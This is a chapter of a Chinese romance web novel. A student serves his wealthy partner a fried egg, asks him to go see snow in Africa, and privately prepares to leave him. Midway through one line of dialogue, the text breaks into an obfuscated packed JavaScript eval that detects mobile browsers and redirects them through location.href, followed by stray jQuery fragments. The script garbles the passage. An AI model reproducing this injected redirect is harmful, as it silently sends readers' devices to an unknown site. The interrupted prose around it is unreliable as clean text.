嘉嘉贺周周

13.13

    傅呈钧走进家门的时候,墙上的时钟刚过五点。


    屋外落日熔金,色彩靡丽的黄昏透窗而入,为宽敞明净的房子染上一层流光溢彩的薄暮光晕,诱人沉沦。


    但当他穿过玄关,走向飘出烹饪香气的屋内,第一眼注意到的,只有那道漂亮得过分的侧影。


    兰又嘉站在半开放式的厨房里,身上系着围裙,神情里透出少有的严肃,正打量着什么:“这个摆盘是不是有点奇怪,我真的觉得不太好看……”


    直到余光瞥见了他的身影,话音才戛然而止。


    他蓦地转身望过来,一脸藏不住的惊讶:“呈钧?怎么这么早就回来了?”


    ——早得连那几位专门来家里做菜的大厨,都还没收工离开。


    他说话的同时,旁边正在忙碌的几个厨师也循声望来,当即恭声问候道:“傅先生好。”


    满身矜贵的男人闻声微一颔首,算作回应。


    灰绿色的眸珠里始终只映出那道身影,渐渐泛开一抹笑意。


    即使已经不是第一次见,傅呈钧仍觉得眼前这幅画面好笑,便反问回去:“不会做饭还穿着围裙?”


    “……谁说我不会的。”兰又嘉脸上立刻露出了不高兴的表情,反驳道,“我今天是打算要做菜的!”


    他的模样鲜活又灿烂,令傅呈钧眸中的笑意更浓,薄唇微扬:“是么?那我拭目以待。”


    “知道了知道了,你先出去,这里好挤!”


    兰又嘉一边抱怨一边把他推出去,而还在原地忙碌的厨师们,悄悄对视一眼,目露艳羡和感叹,仿佛被这份溢于言表的甜蜜感染。


    这是一个充满了丰沛爱意,没有半点龃龉痕迹的夜晚。


    就像傅呈钧曾经度过的很多个夜晚那样。


    所以再一次置身于幸福景象中的男人,在莫名其妙的怀念心情中,有些恍然地想,今天临时更改行程的冲动决定不算坏。


    下午他发出那条消息后,没有等待多久,兰又嘉的回信就来了。


    【后天晚上?你要来参加我的毕业晚会吗?!】


    【太好了,谢谢你!】


    【我很开心,真的特别开心。】


    【今晚你会不会回来?要一起吃晚餐吗?】


    消息一条接一条跳出来,屏幕另一端的恋人丝毫没有提及上次分别时的不愉快,絮语不停,如往常那样听话和懂事。


    可依然有些不太一样的地方。


    【今天晚上回家好不好?】


    【我真的很想见你。】


    彼时,傅呈钧的目光在这两段仅仅相距一行,却时隔一周的消息间来回逡巡。


    刚刚退潮的沉郁心情又要涌上来。


    微妙的暴躁感驱使他毫不犹豫地爽了约。


    ——合作方的约。


    秘书听见他在极短时间内第二次取消原定行程后,来不及掩饰的惊异语调,犹在耳边。


    聊天框里最新那段文字寥寥的对话,也如在眼前。


    【嗯,回来。】


    【那晚上见!】


    航班还有半小时就要登机起飞,总在一桩桩生意中忙碌辗转的男人却径自离开了机场。


    傅呈钧其实不知道自己为什么会这么做。


    或许是他不想再发过去一条与上次毫无区别的“明天回来”。


    或许,是为了当下的这一刻。


    日落月升,窗外夜色深深,屋里灯火通明,一大桌丰盛的晚餐散发着引人垂涎的香气。


    厨师们已悄然离开,傅呈钧坐在桌前,看着熟悉的身影从厨房里快步出来,端上最重要的那道主菜。


    系着围裙的青年弯腰放下手中的瓷盘,献宝似地告诉他:“这是我做的。”


    掀开银色的餐盘盖,霎时露出里面香气扑鼻色泽亮眼的香煎澳龙。


    和堂而皇之地摆在正中央,骑在昂贵龙虾头上的一个香煎荷包蛋。


    傅呈钧早有预料,不会被障眼法迷惑,淡定道:“做得不错。”


    “当然!这是我煎过最完美的荷包蛋。”


    兰又嘉有一肚子自我赞美要说:“你看蛋黄刚好在正中间,圆圆的,蛋白的边缘像波浪一样,又很均匀,我觉得它长得简直比动画片里的煎蛋更像煎蛋。”


    青年絮絮叨叨地向他炫耀这个荷包蛋的形状有多好看,傅呈钧耐心听着,常年淡漠的面孔上露出连自己也未能察觉的轻笑。


    兰又嘉不会做饭,最多只会煎个荷包蛋。


    像是被很温柔地养大。


    相处三年,他从来没有正正经经给傅呈钧做过一顿饭,也从不勉强自己做那些繁琐的家务事,他手中有一长串厨师和家政的名单,一旦有需要,就联系他觉得最合适的人过来。


    他不会用厨艺俘获别人的心,也不做忙前忙后的家庭保姆,可在日复一日的相处中,却始终散发着一种奇异的、令人移不开目光的魅力。


    絮叨到一半,兰又嘉伸手扯了扯他的衣袖,意犹未尽又依依不舍地提醒道:“趁热吃哦,在有热气的时候吃掉才最完美。”


    他的眼睛那样亮。


    傅呈钧其实忽然想问,一个蛋白过敏的人,为什么唯独会煎荷包蛋?


    可这么问,难免要叫人想起那顿失约的生日晚餐。


    所以他没有开口,顺从地拿起刀叉,也没有吝惜赞美:“嗯,味道也很完美。”


    “是吗?”兰又嘉托着腮看他吃掉了盘子里唯一一个荷包蛋,语气很羡慕,“真嫉妒你,能吃到这么完美的荷包蛋。”


    傅呈钧便哑然失笑。


    “你还打算再夸自己多久?”


    “很久吗?我只说了几句而已嘛。倒是你,以后应该多笑笑的,会有更多人喜欢你。”


    “兰——”


    “你要凶我吗?你刚刚才吃了我做的菜!”


    “……”


    “好吧,我饿了,不说了,我也吃东西。”


    青年去自己的座位上坐好,神情怏怏地拿起餐具,嘴上说着饿了,却显然对眼前琳琅满目的食物兴趣寥寥。


    直到耳畔响起那道难得有些踌躇的磁性嗓音。


    “对员工和合作伙伴太和颜悦色,会给项目推进带来负面影响,不如公事公办的效率更高。”


    “诶?你在解释为什么不笑吗?”


    “嗯。”


    “所以你自己其实是喜欢笑的,只是为了工作要忍着?”


    “不,不喜欢。”


    “……”


    兰又嘉顿时觉得自己被耍了,忿忿地瞪他一眼。


    而男人将他气恼的神情尽收眼底,再度低笑起来。


    这一晚的气氛太好,仿佛回到了感情正浓时,谁也舍不得打破。


    打破如此幸福的幻象。


    连兰又嘉都一度沉溺其中,跟平时一样好好吃了一顿晚餐,还提出了往日会不假思索问出口的邀请。


    晚餐后,傅呈钧去书房处理一项突发的工作,他没关门,兰又嘉就习惯性地跟了进去,像曾经那样缠着他。


    他在工作时并非一概不能打扰,处理枯燥事务时,善于一心多用的傅呈钧反而乐意耳边有个人喋喋不休,起码能带来一点乐趣。


    他分心听着,偶尔会回应。


    兰又嘉安安分分地坐在男人身旁,说起学校旁边新开的奶茶店,说起莫名其妙很讨厌自己的一个同学,说起今天排练时因为没睡好频频走神……


    也说起仍在心底隐隐作祟的渴望。


    “呈钧,天气预报说博茨瓦纳又有地方快下雪了,可不可以陪我去看雪?你答应过我的。”


    他真的很好奇非洲下雪的样子,不想仅仅是从旁人拍下的影像里看见这一幕,更想亲眼目睹。


    是因为傅呈钧,他才会关心南非的天气预报,才会知道那片遥远炎热的大陆原来也有雪景。


    所以兰又嘉最想和他一起去那里。


    闻言,正盯着电脑屏幕的傅呈钧头也不抬道:“今年没有时间,等明年。”


    在负责jA集团亚太区业务的同时,他还在去年彻底接手了傅家这边的实业集团,今年是后者发展的关键时期,有权力交替更迭,亦有矛盾暗潮涌动,是傅呈钧最忙的一年,比往年要忙得多。


    “明年?”


    兰又嘉轻轻地重复了一遍这个词,安静片刻后,再度开口。


    “傅呈钧,我想今年去非洲看雪,你陪我去,你可以在酒店里工作的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809855|158097||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,好不好?”


    撒娇般的尾音令男人的动作有稍许停顿。


    但他仍然坚持自己的决定。


    “不行,过两天我要去光海,整个六月基本都会待在那里。”


    又一次被拒绝的青年安静了好一会儿。


    再开口时,仍是柔和却执着的提问。


    “傅先生,那你七月份有空吗?”


    七月是南非最冷的季节,应该也会下雪。


    他一反常态地将同一件事变着花样提了三次。


    到第三次,连傅呈钧都诧异起来,抬眸看他:“非要这段时间去?”


    “嗯,但是你不去也没关系。”


    兰又嘉已经从他的语气里得到了答案,垂着眼道:“我不会再问了,我可以跟别人一起去,也可以一个人去。”


    事不过三,他知道的。


    他话音平静,傅呈钧便真的没有再放在心上,转而问起更关心的事。


    “你刚才叫我什么?”


    “傅先生。”兰又嘉说,“以后我可以一直这样叫你。”


    他第一次见傅呈钧时,就是那样叫他的。


    傅先生。


    傅呈钧已经有差不多两年没听过兰又嘉这样叫自己了,一时间竟有些恍惚。


    回过神来,他半是揶揄半是不满道:“在床上这么叫就够了。”


    身边人就笑了一下,顺从地问:“傅先生,上床吗?”


    这是最后一次了。


    他们的关系从性开始,也该从这里结束,画下有始有终的句点。


    没有一起看雪,那他会独自离开。


    去哪里都好。


    听他这么问,傅呈钧愣了一下,灰绿眸子定定地注视着他。


    然后,男人起身,结实有力的手臂一伸,轻而易举地将他抱了起来。


    兰又嘉条件反射般小声提醒:“……轻一点。”


    可他没想到的是,傅呈钧并没有把自己抱进房间。


    兰又嘉被圈在男人怀里,坐在他腿上,听见发顶传来笑意清晰的低沉声音:“怕疼还主动招我?”


    他被温暖炽热的怀抱全然笼罩,几乎做梦一样。


    梦里的傅呈钧格外温柔:“不是说没睡好么?认真陪我工作一会儿,你就该困了。”


    傅呈钧没有带他上床,而是抱着他工作。


    面前的屏幕上是密密麻麻的法文,夜晚灯光昏黄,衬得男人雕刻般锐利的脸部轮廓也柔和了许多。


    兰又嘉听话地看了一会儿,打了个哈欠,眼眸湿润地说:“不是英文,我看不懂。”


    “所以你困得更快。”


    “也对哦。”他就点点头,脸颊温顺地擦过男人的下颌,“傅先生,胡茬冒出来了,好扎。”


    傅呈钧很模糊地应了一声,落在他腰间的大手带点威胁地紧了紧:“别乱动。”


    男人声线很沉,落在耳畔酥酥麻麻。


    兰又嘉忍不住笑了。


    等到眸中盈满了一弯月牙般的碎金流光,暖得眼眶发热,他才蓦然发觉,原来事过情迁,这样平常的笑容竟也成了奢侈。


    这些天里,他和傅呈钧总是不欢而散。


    其实兰又嘉不希望这样。


    哪怕不必说分手,他还是想要一场不留遗憾的体面告别。


    不能一起看雪,能有这顿晚餐就很好。


    还有他最想纪念的后天晚上。


    这样已经足够了。


    足够让他不后悔这三年全心全意的追逐。


    而这一晚直到最后,也只是怀抱。


    在宛如热恋的甜美夜晚,兰又嘉被困意彻底席卷之前,下意识地说:“晚安。”


    仍在工作的傅呈钧轻笑一声:“今天倒很大方。”


    兰又嘉平时很少这么说。


    于是他同样温声道:“睡吧,晚安。”


    道晚安的同时,微凉的唇在他眉眼处悄然印下一个轻柔的吻。


    兰又嘉便翘起唇角,喃喃回应:“后天见。”


    很快,他在男人温暖有力的怀抱里沉沉地睡着了。


    呼吸间都是那人身上风雪般的冷香。


    令他做了一个大雪纷飞的美梦。